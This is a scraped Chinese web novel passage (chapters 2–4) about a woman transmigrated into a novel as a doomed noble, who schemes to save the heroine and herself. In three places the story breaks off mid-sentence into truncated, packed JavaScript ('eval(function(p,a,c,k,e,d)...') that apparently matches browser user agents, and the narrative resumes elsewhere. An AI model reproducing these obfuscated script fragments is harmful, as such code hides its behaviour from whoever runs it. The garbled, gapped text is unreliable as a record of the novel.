《我与皇权不得不说的秘密》 2. 对花对酒人憔悴 千里撼分好搜罗来的几箱财宝,书信一封交给佩儿,“你将这封信和这些东西送去主簿王士悲家中。禾岭的县令死了自然要有人接手,至于这些钱,我相信她能用得好。” 佩儿接过信道:“郡主,此人信得过吗,要不要我……” 千里撼挥挥手,“她人不错,很正直,还跟我一起插过秧呢。等回京后我便举荐她做县令。” 车轮滚滚,骏马嘶鸣,三人日夜兼程几个月才回到京城,彼时初雪已来报道。 两行车辙似两道疤痕,从禾岭延伸至京中。这一路上千里撼听到最多的不是哭声,而是歇斯底里的哀嚎,许是明白自己熬不过这个冬季,官道上的亡命之徒便更多了些。 掀开车帘,燕儿呼出一口白雾,她望向地上薄雪感叹道:“老天旱死了这么多人,还敢下这么白的雪,真是好心安啊。” 千里撼缓缓睁开双目,似从梦中醒来,“天下风雪不过无情之物,依据时节轮转而已。真正的罪魁祸首是在此之外的另一种风雪,它由人掌控,反复无常,比天难测多了。” 燕儿闻言默默放下帘子,看向她道:“那郡主觉得另一种风雪会有消失的时候吗?” “永远不会。” 明知故问,燕儿略带失落的望向地面,心中难免哀伤。国之不幸,百姓才是最大受害者,她一届孤女都看得出要天下大乱,这世道还能有多烂? 掌心传来一抹温度,千里撼将汤婆子放进燕儿手心,摸了摸她的安慰头道:“总会有放晴的一天。” 温柔的声音像一支歌,燕儿撞进千里撼坚定的眼眸中,顿时又充满了希望,幸福的靠在她肩头缓缓睡去。 郡主的话从不会错。 千里撼温柔的哄着她,哼起一支刚穿越来时听到的曲子。寒英初绽,瑞雪兆丰年,只可惜乱世无丰年,所谓瑞雪亦可做亡国之相。 《困雪晴》原是本不入流的脑残文,架空人物架空背景,刚开始标榜着大女主爽文所以吸引一众读者。谁知作者写着写着为了钱脸都不要了,硬生生把大女主给改成“大男主”,用人格换取金钱,最后被骂的体无完肤。 原文女主玉雪倾本是世家贵女,十三岁带兵剿匪,十七岁获封都尉,二十二做镇南大将军。 天地皆宽任尔游,本是翱翔之鹰,却被当朝皇帝白笑孔为稳固权力一道圣旨嫁予男主千里逢,自此之后女主便囿于深宅,再难施展一身才能。 而男主千里逢则踩着女主的翅膀一路高升,最后甚至起兵造反夺取帝位成为一代帝王。 反观玉雪倾,过去种种皆为他人做嫁衣,竟沦为小小“后宫之首”。 可这一切原本都该是她的。 夫人到皇后,不过是从小笼子换到大笼子而已。小说最后女主也因此同男主渐渐离心,被困深宫郁郁而终,成为男主表演深情的“工具白月光”。 作者罪大恶极,挖坑不埋,献祭女主,后期更是给男主开起了后宫,高开低走毫无逻辑,简直烂破天际!人神共愤! 不过妈归骂,龙傲天男主光环的确制霸堪比毒王,给身边一圈人几乎全下过毒,更可笑的是命中率高达百分之百。 原文中千里撼作为炮灰之一,理所当然的一命呜呼,将家主之位拱手相让。 因此高肃自穿越而来便始终避世,生生躲到十四岁才出来见人,但期间和男主千里逢的摩擦可是一点儿没少。如今她已年满十九,距原著中千里撼这个角色地死亡节点已十分接近。 她本想闭门躲灾,可千里逢却一再挑衅,简直忍无可忍,这不是欺负老实人吗! “郡主,咱们到家了。”佩儿叫醒千里撼道。 千里撼揉揉眼睛,捂着脑袋发出低语,迫不及待跳下马车,“看来这古代的马车也容易晕车啊。” 燕儿见状扶住千里撼道:“郡主是不是累了?” “还行。” 燕儿为千里撼缓缓揉起合谷穴,心疼地道:“郡主金尊玉贵,就算再大些的马车也坐得。只可惜禾岭租不到好马车,这已经是最大的了,否则也不至于惹的郡主这么难过。” 千里撼安慰燕儿道:“小点儿也好,你和佩儿都没事,怎么我就坐不惯呢。” “郡主怎么同我们二人相比,我们都是粗人——” 不等燕儿说完千里撼就照她脑门儿弹了下,“不许这么说自己,人都是一样的。” 燕儿捂着脑门儿不理解千里撼的话,在这些官宦之家中唯有郡主拿他们这些奴才当人。 想当年,若是没被老太太买下而是被蓝溪轩买下,估计坟头草已经有七尺高了。 京中繁华,和外头简直天壤之别,城外难民盘踞,关外蛮夷频扰,可京中依旧,世家依旧,大魏天地依旧,颇有种不管不顾的奢靡,只可惜再怎么粉饰太平也难掩颓败之气。 一阵香气突如其来,勾了勾千里撼的鼻尖,她本能的跟着那股香气走,最后果不其然到了金肴楼前。 来都来了,那还等什么? 千里撼一拐弯儿滑了进去,看着菜单苍蝇搓手,“小二,炒一本儿!” 她打算把在禾岭吃不到的好东西全都吃个遍! 店小二一瞧财神爷来了,生怕怠慢了,一溜烟跑进后厨。 她们仨也不负众望,风卷残云吃个一干二净,上菜的人都看傻了,上完就跑,生怕晚走一步被当菜吃了。 饱餐后千里撼摸了摸肚皮满意的打了个嗝儿,谁知又瞥见远处茶园,眉毛一挑提议道:“来壶普洱刮刮油?” 二人齐齐点头。 主仆三人就这么脚底抹油似的又拐进了茶园。 “小二,上一壶普洱!” “好嘞,客官您还有什么需要的?” 千里撼:“再来俩盘果子吧,你们这儿还能点戏吗?” 小二挠了挠头道:“能点是能点,但得三场以后了,客官您还能等吗?” 千里撼往台下瞧了眼,“都是哪三场?” “一出《荆钗记》,一出《拜月亭》,还有一出《赵氏孤儿》。” “那不点了,就这样吧。” 小二殷勤点头道:“好嘞客官!” 果子端上来佩儿就开吃,千里撼常常感觉佩儿胃里有个黑洞,但鉴于佩儿每天飞来飞去的多吃点儿也正常。 她转头看看了会儿戏,一回头发现燕儿居然也在吃,有些疑惑道:“真这么好吃吗?” 二人塞了满嘴,说不出话,但同时点了点头。 千里撼半信半疑了拿了块果子塞进嘴里。 这是什么人间美味? 薄薄的酥皮裹着软嫩的内馅儿,一咬开,里头桂花的香气顿时充满整个口腔,甜而不腻,外酥里嫩。 三个饿鬼转世的家伙就这么又吃了四盘果子才罢休,直到千里撼撑的再弓不了背才发誓不吃了。 燕儿同佩儿也是捂着肚子说不出话,三人百无聊赖看起戏来,将将看了个《拜月亭》的尾巴。 一抹身影划过,燕儿眼尖逮到那个影子,她暗暗拉了拉千里撼衣角,压低声音道:“郡主快看那人。” 千里撼顺着燕儿目光瞧去,见一人身披狐裘,罗衣叠雪衬,粉面明眸朱砂点,手握折扇笑春风,若清水芙蓉。 她顿时两眼一黑,恨不得当场啐一口。 此人逼格之高突破天际,全书之中仅有一人如此,那就是千里撼亲弟兼全书男主——千里逢。 生活果然一波三折,每当千里撼尝到甜头时远处总有一泡屎等着她。 真不知道这人入冬了还拿把折扇是想干嘛。 千里撼刚才回京,多一事不如少一事懒得搭理他。 只是,为何在千里逢身旁会有位女子? 那人仪态万方,近似修竹,瑞凤长目烂烂,若明空朗月。 哪来的美人? 正当千里撼疑惑那死白莲从何认识这般女子时,一捋原著,猛然发觉此情此景正是《困雪晴》男女主初见的场面!好死不死被她撞见了! 这下好了,千里撼坐不住了。 她扶着椅子站起身来,远远看向女主玉雪倾,不断被颜值暴击,脑子里飘起弹幕:“冰清玉洁,若嵩山白雪……” 要不要管? 千里撼一遍遍问着自己。一直以来玉雪倾都是她的定海神针,作为女主角,玉雪倾的前半生可谓是光芒万丈,活的自由洒脱,轰轰烈烈。 可惜,《困雪晴》是倒叙。从她作为将军站在大殿上开始,一切都不一样了,命运像一条大坝截断了她的生路。 千里撼天真的祈祷着一切不会发生,认为可以凭借一己之力延缓故事的开始,极致演绎着掩耳盗铃。 可当她看到两人站在一起时,那副貌似才子佳人的画面终究还是将她惹恼了。 一切都是那样的刚刚好,世界刻意利用玉雪倾杰出的样貌偷换概念,抹杀她的价值,而千里逢则在暗中得到滋养,悄悄盗取着原属于玉雪倾的一切。 要不要管! 千里撼双拳握紧,又看了一眼玉雪倾。 她无法接受玉雪倾沦为“道具”,她不是用来凑成画卷衬托男人的景物,不是台阶,更不是一个徒有其表的标签。 她是个活生生的人! 那股支撑她杀到签售会的愤怒顿时回到体内二次爆发,一个连作者都不爱的角色,一个被牺牲的弃子,但却得到了千里撼所有的怜悯。 她猛地抬头看向千里逢那边,蓬勃的愤怒爬满千里撼一整颗心,复杂的情绪夹杂着劫后余的恨意,手中铁筷被她生生折断,此时的千里撼远比台下唱词凄厉的赵武还要怨恨。 燕儿见势不对,猛的握住她的手,“郡主冷静。” 是啊,的确要冷静,如今时机未到,盲目上前只会打草惊蛇,更何况男主有光环在手,她根本杀不起! 千里撼压制住翻涌的情绪,忽然灵光一闪,想出个绝妙的主意。 你不仁休怪我不义,既然杀不了,那恶心恶心总成吧? 她往千里逢那边瞟了一眼,勾勾手示意佩儿和燕儿附耳过来,三人窃窃私语片刻一拍即合。 只见燕儿不知从哪弄来几身破衣裳给佩儿套上,又掏出盒子,三下五除二将其易容成个邋遢老汉儿。 佩儿虽不苟言笑,但每每一办上相就像被打开了什么开关似的,留着口水弯着腰,耷拉个脑袋走路一拐一拐的,时不时发出几声□□,奔着千里逢就去了。 那头千里逢还在风花雪月,殊不知佩儿正向他靠近。 千里逢聊的满面春风,刚想喘口气,一抬头却有个邋遢老头怼在他脸上! “哇!” 他下意识就要跑,但一想到身旁尚有佳人,此举有失风度,硬生生又把腿制住了,拧着眉毛问道:“哪来的疯子!” 佩儿一看千里逢不跑,更兴奋了。摩拳擦掌,舌头舔了舔嘴唇,噘着满脸胡子就要往千里逢身上靠,口中还黏糊糊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“疯子,你这个疯子!你死定了,给我放开,我要杀了你!” 千里逢整个人都疯了,什么气度涵养统统不顾了,他素来将体面看的比命还重要,转头想要小厮帮忙却发现这群饭桶全都不知道跑哪儿去了,顿时怒发冲冠,手底下暗暗使力,折扇边缘弹出短刀。 佩儿见招拆招,暗中制住他手脚,明面上依旧猥琐,两人“依偎”在一处,远看却像是千里逢欲拒还迎的模样,再配上他那张脸,简直娇死了。 这鬼热闹越来越大,女主也不知道跑哪儿去了,千里撼笑够了见目的已经达到,给佩儿比了个手势便带着燕儿离开。 店小二刚巧出来,一看贵客受辱赶忙叫上好几个壮汉要将二人拉开,佩儿借此机会继续装疯,尖叫着撞翻一众壮汉逃跑了。 “抓住他,抓住他!我要将他五马分尸,谁抓住了重重有赏,快去!” 千里逢本想用扇子给那叫花子一刀了解他,哪成想被灵活夺过,顿时勃然大怒。 佩儿一出金肴楼便扯下伪装同二人会合,三人一对视,顿时跪地大笑,近半柱香才有所缓和,期间千里撼更是不管不顾的笑到捶地,燕儿则连连叫绝几乎快要呕吐。 “是三位姑娘帮了我吗?” 笑声戛然而止,三人姿态凌乱比疯子有过之而无不及。 千里撼闻言缓缓抬头,猛的被美颜暴击,此人正是方才同千里逢谈笑风生的女子。 她顿了顿,扑扑膝上灰尘起身,明知故问,“姑娘你是?” “我名玉雪倾,姑娘可唤我玉折。方才多谢几位帮忙,否则我还不晓得如何脱身呢。”她笑起来,秋水盈盈。 千里撼眉毛一皱,发觉事情并不简单,“脱身?何出此言啊。” 女子解释道:“我本独坐戏台,结果那人突然黏过来同我谈天说地。一会儿说我点的《赵氏孤儿》不好,一会儿说茶楼龙井味淡,简直烦不胜烦。” 这和原著中描写的有的不一样啊。 千里撼陷入沉思,原著中讲二人天雷勾地火一见钟情,可听玉雪倾之言貌似并非如此。 可若他们没有一见钟情,岂不是更好? 当初看《困雪晴》时千里撼就觉得诡异,全书看下来也没觉得主角间有多爱,一个为民鞠躬尽瘁,一个为权巧取豪夺,哪里像是一路人? 想到这儿她豁然开朗,直言道:“玉折不喜欢方才那人?” “为何要喜欢?” “当然不要喜欢。” “什么?” “不。我的意思是,你做什么都好。” 千里撼有些莫名的兴奋,像第一次考出满分。 既然剧情可改,那就证明一切都有希望!不用死了!她默默盘算着时间,脑子里演出一场大戏。 千里撼整了整衣襟,庄重道:“我名千里撼,字琼林。方才的确是我故意。” 玉雪倾一听名号有些讶异,“原来竟是金安郡主,果然名不虚传,是个敢作敢为之人!” 这一下可给千里撼夸爽了,分明平日里传她都是招猫逗狗之类的形容词,也是难为玉雪倾。 她连连摆手谦虚道:“玉都尉言重了,十七岁获封都尉的人大魏可没几个。今日事忙,若都尉不嫌弃咱们改日再聚,到时好好喝一杯。” “好!” 望着玉雪倾背影,她忽然来劲儿了。 这阴差阳错的报复竟叫她窥见“冰山一角”,她固然穿进了书中,可原书有些情节总是显得蹊跷,如今同玉雪倾一“对账”,竟还有斡旋余地。 想到此处,千里撼直接牵了匹马,临走钱嘱咐燕儿道:“你先去向姥姥报平安,我去去就回。” “好,郡主放心去吧!” 千里撼马鞭一扬,身下黑马似离弦之箭,佩儿则似鬼魅般紧跟其后,浸入夜中。 3. 雾里短相见 正是人烟稀少之际,两道人影在黑夜中穿梭许久,终于来到一处灯火通明之地——重明馆。 所谓“轻雪初霏素点翠,暗阶夜半影千月”说的就是重明馆。 重明馆是千里撼一手打造的“大魏CBD”,集所有古代娱乐设施于一体的最大勾栏瓦舍。 当年她一眼相中这块地,大手一挥买下来建了重明馆,之后便交给钱双双打理,如今四年过去,此处已然成为大魏标志性建筑物。 至于钱双双是谁——她就是那个同高肃一起穿越的无良作者! 穿过暗道,千里撼来到一扇门前,紧接着一阵规律的叩门声响起,她紧贴门缝低声道:“宫廷玉液酒!” 门的另一面也传来声音,“一百八一杯!” “群英荟萃!” “红白萝北!” 木门顷刻敞开,钱双双冲出来对着千里撼就是一个熊抱,“老大!总算回来了!” 千里撼任由她挂在身上,关门进屋,随后将人放在桌上道:“你这又是怎么了,老板当的不开心?” 钱双双抱臂埋怨道:“别提了,我本是一个现代文字工作者,生活美满父母双全,渴了喝凉茶饿了吃肠粉,哪想一朝穿越到这杀千刀的架空年代,不仅没有金手指而且还是歌女出身!虽经过一番奋斗富甲一方,可我依旧热爱我的本职工作,可惜这里的人都不认可我的文学,真是怀才不遇啊!” “怀才?”千里撼上下打量她道,“你?” “对啊,”钱双双理直气壮,“我怀的多明显啊!就这也没遇到伯乐,难道还有比我再惨的吗。” 千里撼斜了她一眼冷笑道:“有啊,被三五十个人围着杀你觉得如何?” 钱双双顿时感到一阵恶寒,有些心虚道:“怎……怎么了?” 千里撼随手掰下根香蕉当枪,指着钱双双脑门儿一字一句道:“因为咱们快死了!” “雷港咩啊?”钱双双不相信自己的耳朵,此刻她多么希望自己是头驴。 想当年她们两个中门对狙,高肃拿着一本贴满便利签的《困雪晴》整整和她对骂了一个小时,期间挑出无数个剧情BUG,钱双双毫无还手之力,最后终于低头答应全书大改。 谁知二人刚一达成协议便双双穿书,这下好了,可以直接一对一辅导了。 穿越之后虽然二人都是炮灰,但大佬就是大佬,千里撼凭借过人的出身和脑力以及执行力在大魏混的风生水起,见此情景钱双双一不做二不休直接滑跪抱住大腿,最后成为这偌大重明馆的“代理老板”。 然而就在钱双双沉浸在当加油小妹的幸福生活渴望飞黄腾达之际,光辉伟大的千里撼却说她们要死了? 不接受,绝对不接受! 千里撼目睹钱双双这个始作俑者脸色从白变绿再变红,心情顿时畅快了许多,“不过也不是完全没办法。” 一听这话钱双双悬着的心瞬间落地,夺过那根香蕉塞入口中含糊道,“我就知道你一定有备而来。说吧,需要我做什么!” “也没什么用得上你的地方,”千里撼抱臂坐在桌上思索,“虽然剧情已经进入我的死亡节点,但其实只要将它截住或者强制逆转就好了,毕竟这种事我之前试验过好多次。” “的确如此。可你这次的对手不是无名炮灰,是男主啊!老大!”钱双双提醒道。 想要避免死亡这个问题最简单的方法就是直接解决制造问题的人,因此千里撼伙同钱双双多次试图杀死男主,可惜男主有“光环”在身,简直比龙傲天还死侍,无论任何情况都能化险为夷。 想当年千里撼找了一群穷凶极恶的山匪绑架千里逢,结果那帮人被千里逢全程打嘴炮硬生生给说服了,一转身山匪变保镖,给千里撼看傻了,连连感叹主角果然无敌,龙傲天设定不倒。 千里撼想着想着,无名火起,烦躁的拍掉钱双双的香蕉,“都怪你给男主套的什么狗屁光环,否则我至于东躲西藏的么!” 钱双双一撅嘴,看着地上那半根香蕉颤颤巍巍的解释道:“天地良心。我虽然利欲熏心跟风写文,但终究写的是爽文,主角怎么可能没有光环嘛……” “那你怎么不写点儿王侯将相宁有种乎的普通人光环呢!”千里撼真的很想抽她。 “那也不是只有他一个人有主角光环,我们女主角也有光环啊,我……” “闭嘴吧你!” 千里撼打断她道:“要不是你设计那么多脑残剧情,我也不至于杀到线下制裁你,更不会穿进来绞尽脑汁求生了。” “那人家也是为了生活嘛,我一开始是想好好写的,可是男频那边给的太多了我就……” “无良作者!” 千里撼狠狠的剜了一眼钱双双,心头那股恨意再次缓缓涌上。 当朝皇帝为稳固白家江山才给女主指婚,毕竟大魏四大家族如今只剩下三个,而女主所在的玉家又世代为将手握重兵,所以才要身为王孙的千里逢与其结亲稳固关系。 千里撼自穿越而来便绞尽脑汁思索着办法,恨不得自己娶女主,帮她避开千里逢这个火坑。 等等—— 她突然灵光一闪,转身对钱双双确认道,“你说,是不是白笑孔只要觉得江山稳固就不会搞事了?” “理论上来讲是这样的,毕竟白笑孔的人设就是唯我独尊。” “那可太好了……” 钱双双不理解,但钱双双相信她,于是钱双双吃香蕉。 “哦,对了,”千里撼似想起什么般,突然提醒钱双双道,“既然我的死亡节点到了,那你的也就不远了。如果我没记错,你这个角色是被男主利用后心灰意冷选择跟人私奔,结果半路被山贼打死了,所以我劝你要么出家要么远离男人。” “啊,这……”钱双双有些心虚,缓缓目移。 千里撼见钱双双这副模样顿时失笑,整个人像吃了屎一样难受,她的命怎么就这么苦? “钱双双,你又乱谈恋爱是吧。”千里撼被气笑了。 钱双双连忙摆手,跪地求饶,“不不不,我这次还没谈上呢。你听我说,他本是良家少男,一招失足流落风尘,但本性善良温柔贤惠,我穿越而来这么多年头一次有了家的感觉。” “你上一次也这么说。” “不一样的老大,他真的很好,人特别善良而且对我百依百顺,并且是个清倌呢。众所周知,贞洁是男人最好的嫁妆,贤惠是男人最棒的广告,我觉得这次是碰到真爱了呢!” 千里撼没忍住乐出声了,如果这个世界是一坨巨大的屎,那钱双双就是屎里的Pocky。 她一把揪住钱双双骂道:“这十一年里你一共遇到了四十多次真爱,结果每次对方不是出家就是出嫁,再这样下去你可以找人给你塑金身了!就叫转运观音!广告词我都给你想好了,‘专业指导,一对一就业,百试百灵,迄今为止已有成功案例四十余起’。去吧钱双双,你就是下一个华尔街之狼!” “老大,别挖苦我了。我只是一个爱谈恋爱的小女孩儿而已啊!”钱双双努力卖萌博同情。 “呵呵,挖苦你?我倒想挖苦你,只可惜挖别人的是苦,挖你的是屎!” 钱双双见此双手合十默念道:“反弹反弹反弹……” “你给我滚。” 千里撼白了她一眼后猛然瞥见一根蓝色丝带于是再次揪起钱双双问道,“你说的那个人是不是叫高献。” “诶?你怎么知道。” “哈哈哈哈!”真是苦瓜他妈给苦瓜开门,苦到家了!千里撼扶额苦笑,感觉自己像根苦瓜精。 面对钱双双那张明显双商相加不超过一百五的脸,千里撼尽力冷静,用最优美的声线细细道来,“因为在你那本破书里,钱双双就是跟高献私奔后被山贼抢劫,最后曝尸荒野的呀~” 钱多多愣住,不愿相信事实。 “纳尼?我竟然写了这种情节吗!” 千里撼看傻子般看着她,给出致命一击,“叫你写文不走心,什么都不记得吧?这个高献是千里逢的奸细,私底下男女都来的。孩子,他不是你的真爱,更不是所谓的贤惠男人,而是你的阎王爷!” 说罢,千里撼扬长而去,留钱双双一人在原地被雷的外焦里嫩。 什么叫自食恶果? 这就是。 “啊啊啊啊!” 钱双双趴在地上扭曲狂吼,拜天捶地,像一条被竖劈成两半的蚯蚓。 “阿郎!你點可以咁绝情!天呀!你放過我啦,我只係個想談戀愛嘅女仔咋!高献!你个斩头刀负义郎!双双错将真心托,原来你系黑心狼!” 千里撼扣了扣耳朵,抱臂看戏,“好好给我经营重明馆,顺便活着,否则杀你的就不是山贼而是我了。” 她懒得再管钱双双,取过账本后径直离开。至于那个高献,七天之后钱双双若还不下手,她就亲自送这个人见山贼去。 千里撼在重明馆看了一夜账本,第二天早早骑马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎我!你真、你真、你根本就什么都不知道!” “怕她干嘛!再大大的过尚书府吗!” 那人恨不得冲上去把他捂死,“我的老天啊!你可快点闭嘴吧,我求你了!” 千里撼乐呵呵看戏,但那马上女子却坐不住了。 她已露出身份却见千里撼怡然自得,不由生出几分惧意,“我本无意招惹她,只不过方才她一经过我的马便受惊狂奔,故才一探究竟。” “就这事?” 千里撼转头看向那白色身影问道:“她说的可都属实?” 那人轻轻点头。 千里撼闻言掏出弓来,对着马颈就是一箭。 霎时间鲜血喷溅,猩红水柱直冲天际,青石路面被流血染个通红,那匹枣骝马挣扎几下发出痛苦嘶鸣,随后轰然倒地,背上的尚书小姐控制不及也跟着摔飞出去。 过往行人见此情景皆是大惊,纷纷低头离去不敢逗留。 这一跤摔得可不轻,尚书小姐被那二人扶起后愤愤道:“你!我与你无冤无仇,你这是何必!” 千里撼漫不经心地将弓旋了几圈在手中把玩,而后利落收起,“我当然与你无冤无仇,这一箭是我送你的礼物。即日起,你便可以拿着这支箭,去北阙甲第千里相府领一匹同我跨下一般的南疆千里骑。至于这匹容易受惊的废物,还是叫它早见阎王的好!” 三人一听名号皆是大惊,齐齐跪俯在地,“见过金安郡主!” 千里撼并不理会,马鞭一扬绝尘而去。 那道白色身影也不免染上马血,似红花乍开。 他目送千里撼远去,看着那潇洒背影胸中泛起某种渴望,待其不见人影后也悄悄消失在这场闹剧之中。 远处一小厮甩着脑袋跑过来,一见那白色身影顿时大喜,倒了好几口气道:“公子,我可算找你了!您去哪了?等等,这血迹是怎么回事!” “不是我的,回去吧。” “哦……好。” 寒风突袭,横冲直撞,却在接近那抹白色身影时侧身绕开,只呼吸停滞间轻轻掀开帷帽一角,偷看那双紫色眼眸片刻,又飞快逃开了。 帷帽下,血气与花香混合,男人深吸一口气缓缓吐出,忆起方才情景,眉眼舒展,唇角勾起。 4. 阴阳之动 “千里撼,你此番进宫所为何事啊?” “回禀陛下,臣想向您讨一桩喜事。” “哦?”,龙座之上,女子神情散朗,漫不经心道。 “说来听听。” 千里撼跪伏在地,神经紧绷,双目徘徊于手背和御案之间,道:“微臣祖母年事已高,早年四处征战身中奇毒落下病根,如今足不能行。臣倍感揪心,遂遍寻名医,可惜祖母旧疾顽固难以祛除。偶然听说闻家有一秘传药方可解天下其毒,然非族中亲者不可得,所以才来求圣上赐婚——赐微臣与闻家结亲。” “仙医闻家?” “正是。” “你倒有孝心。不过你身为郡主,又是大魏四家之二——千里家的长女。下嫁闻家,有些说不过去吧?” “陛下误会了。” “怎么?” “臣意在求娶闻家人,不为下嫁。” “哈哈哈哈哈!” 女人终于舍得撂下奏折,抬眼看向千里撼,笑道:“不愧是金安郡主。朕记得你十六那年参加秋猎,独身杀虎,尽显我大魏女儿风姿。” 千里撼起身答道:“正是。臣侥幸夺魁,陛下不仅赐臣食邑八百,还赐了一把勾月玄弓,臣铭感五内。” “无妨,那是魁首应得的。不过这把勾月玄弓的确是件宝贝,乃是前朝武正将军陈棠的兵器,可惜陈家狼子野心,落得如今下场实在凄凉。” 千里撼听出白笑孔弦外之音,顺其意思道:“陈家虽有护国之功,可惜心术不正,得此结局实在咎由自取。” “你倒是看得清。若朕没记错的话,你如今已有十九了吧。” “正是。” “闻家与你家世不配,其实你的婚事朕早有打算,同为四家之首的玉家就很不错。” 千里撼料到如此,迂回道:“千里家世代为官,为大魏鞠躬尽瘁,可惜如今人丁不旺,被列四家之二实属侥幸。玉家铁血世家战功赫赫,居四姓之首实至名归。臣无意入他姓门户,所以才来向陛下求娶闻家中人,一来全臣之孝心,二来日后也可继续以千里家身份继续为国效力。” “你似乎很怕玉家?” 千里撼道:“古人云,居功不可自傲,文武不可相轻。臣以为对玉家此等功勋世家应当敬,而远之。” “这么说你是愿意做忠贞之臣,而非肱骨之臣了?” “臣就是臣,是大魏的臣,是陛下的臣,是百姓的臣。若为肱骨而臣便称不上忠贞,若为忠贞而臣必做不成肱骨,所以臣只是直臣。” “呵。” 龙座之上,帝王咧唇轻笑,森森白牙,算计入骨。她看出千里撼的犟脾气,执意不愿入他姓门户。想来也是,千里家并不比玉家差,能坐一家主位又何必自降身价去做他家之客,成为不能自主的“纽带”。 此人有谋,日后若能用好,必是一把利剑。 大魏如今朝政不稳,外患频频,正是求贤若渴之际,千里家对玉家颇有微词,既如此便送她一个人情吧。 白笑孔轻笑一声,提笔挥毫写下圣旨交由身旁女使,道:“既然如此朕便允了你,只不过你年龄尚小,这婚期就定在两年之后吧。过几日,你也去闻家瞧瞧,看看哪位公子能入得了你金安郡主地眼。” 千里撼顿时胸中大喜,但面若平湖再度叩谢道:“臣多谢陛下成全!” 大魏皇城层台累榭,一砖一瓦皆由鲜血砌成。所谓兴亡,勃焉忽焉,强若大魏也难免日中则昃,当朝帝王白笑孔在皇位争夺战中杀出一条血路登上了权力顶峰,可她诛戮功臣,刚愎自用,致使边疆动荡难停百姓民不聊生。纵雄兵百万,金山银海也注定难逃将倾之雨,恒落之日。 千里撼走出皇宫抬手遮了遮日光,微微蹙眉。 既然白笑孔的目的是稳固江山,那么谁娶谁嫁又有什么关系呢,只要利益达到平衡就好了。抚了抚怀中圣旨,千里撼露出一个满意的笑容。 远处一人款款而来,那人衣着华丽,富贵非常,千里撼仔细瞧了瞧,隔着老远便露出笑容恭敬行礼道:“见过邵雍公主。” 女子远看清秀通雅,大大的眼睛一开心就会眨来眨去的盯着东西瞧,整个人古灵精怪的。 她本打算去见母皇却在路上碰到千里撼,索性直接凑过去打招呼,道:“金安怎么有空进宫啊。进宫就算了,还不告诉我,是不是打算办完事就悄悄走了?” “公主哪里的话。臣此番匆匆而来没做准备,本想待过几日再进宫与公主相见,却没想到在这儿碰上了。” 白帝媐踮脚瞧了瞧千里撼怀中圣旨,上前一步轻撞她手臂揶揄道:“你这是娶夫郎了?” “噗!” 她捂唇偷笑,眼珠绕着千里撼瞧了一圈儿后点点头自说自话道:“整个人精神焕发,不是娶了夫郎还能是什么?说,娶得是谁。” 千里撼将怀中圣旨搂的更紧了,她无奈道:“公主啊,为我的脑袋考虑考虑吧,您这爱看别人圣旨的毛病还是得改改。” “不要!除非你告诉我娶谁了。” “好吧,下不为例,”千里撼神神秘秘的贴近白帝媐耳边悄声道:“陛下叫我随便挑。” “这么爽!” 白帝媐一听整个人都精神了,两眼瞪得溜圆,压低声音问道:“挑几个都可以吗?” “这倒没说,”千里撼故作思考之态,神秘兮兮道:“不过也没说不行。” 白帝媐眨巴两下眼睛后一把握住千里撼双臂,义正言辞道:“我朝自古以来都崇尚忠贞二字,身为朝廷重臣你更要以身作则。千里撼,答应我,要忠贞好吗。” 千里撼抿唇一笑,摇了摇头在她耳边轻声道:“不、要。” 不等白帝媐发作,千里撼抢先一步抽身,脚底抹油直奔马车一把钻了进去。 临了,还要撩开车帘对白帝媐挑衅一番。 若按辈分来说白帝媐同她是姑侄,二人年纪相仿,幼时常常相见,关系也更近些,虽名为姑侄但千里撼闭口不谈此事,毕竟没人想管比自己小的人叫姑姑。 更何况皇室关系盘跟错节,今日的父子明日便能成为仇敌,所谓关系,不过是柴火堆上一根枯木而已。 千里撼怀揣圣旨,脚步轻快,哼着小曲儿一路晃进千里府。 “长姐真是人逢喜事精神爽啊。” 一阵男声随冷风吹来,似鬼魅般悄无声息停在千里撼身侧,缓缓开口,雪色狐裘轻晃,刮蹭着她垂在身侧的手背。 冤家路窄啊。 千里撼闻声驻足,转头问候道:“二弟今日怎么得闲回府了,是诸位同僚嫌冬日雪冷,不便久聚么。” 既然千里逢要演姐弟情深,那她就陪他。 千里逢杏目圆鼻,长相十分秀气,似林中小鹿。若她没看过原著或许也会被其外表欺骗,相信自己从前十几次中的毒都是天上掉下来的。 “长姐说笑了。明日便是冬至,友人们心系父母自然不会忘记孝道,我也因此得以早早抽身回府。更何况长姐得陛下赐婚,这天大的喜事,作为弟弟无论如何也该来贺喜一番才对。” 不过一日便已满城风雨,该说不愧是邵雍公主的嘴巴么,无论好坏通通传千里。 “只不过,”千里逢目光一寒,逼视千里撼道:“长姐因何突然要同闻家结亲,这简直毫无征兆。” 她本来也没打算瞒着,不过千里逢这跳梁小丑实在惹人嫌。整个大魏都知道她千里撼找了个半死不活的闻家,甚至两家还有过节,所都等着看笑话。 千里撼平视千里逢,缓缓向其靠近。 无论原书还是现在,她们俩姐弟从小就不对付,二人从小到大一直在斗法。要怪就怪这姐弟二人从小是分开养得,千里逢养在父母膝下百般怜爱,而千里撼则养在祖母跟前不是孤儿胜似孤儿,说是一奶同胞但全家都在偏心千里逢,除了祖母一人。 “圣心岂是你我所能揣测的,若要道贺便免了吧,待来日我成为家主,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来千里疾遇见娄氏并娶了他,二人先后生下千里撼与千里逢,自此之后千里疾便像被灌了迷魂汤般执意要外姓的娄氏掌家。 后来千里疾因公外出,彼时祖母千里冰封病重,娄氏狼子野心想借此机会置千里冰封于死地,于是在她药中下毒,而那碗药则是千里逢亲自送去的。 千里冰封对亲孙儿毫无防备,只是刚吃进两口便被千里撼匆匆赶来一脚踹翻。 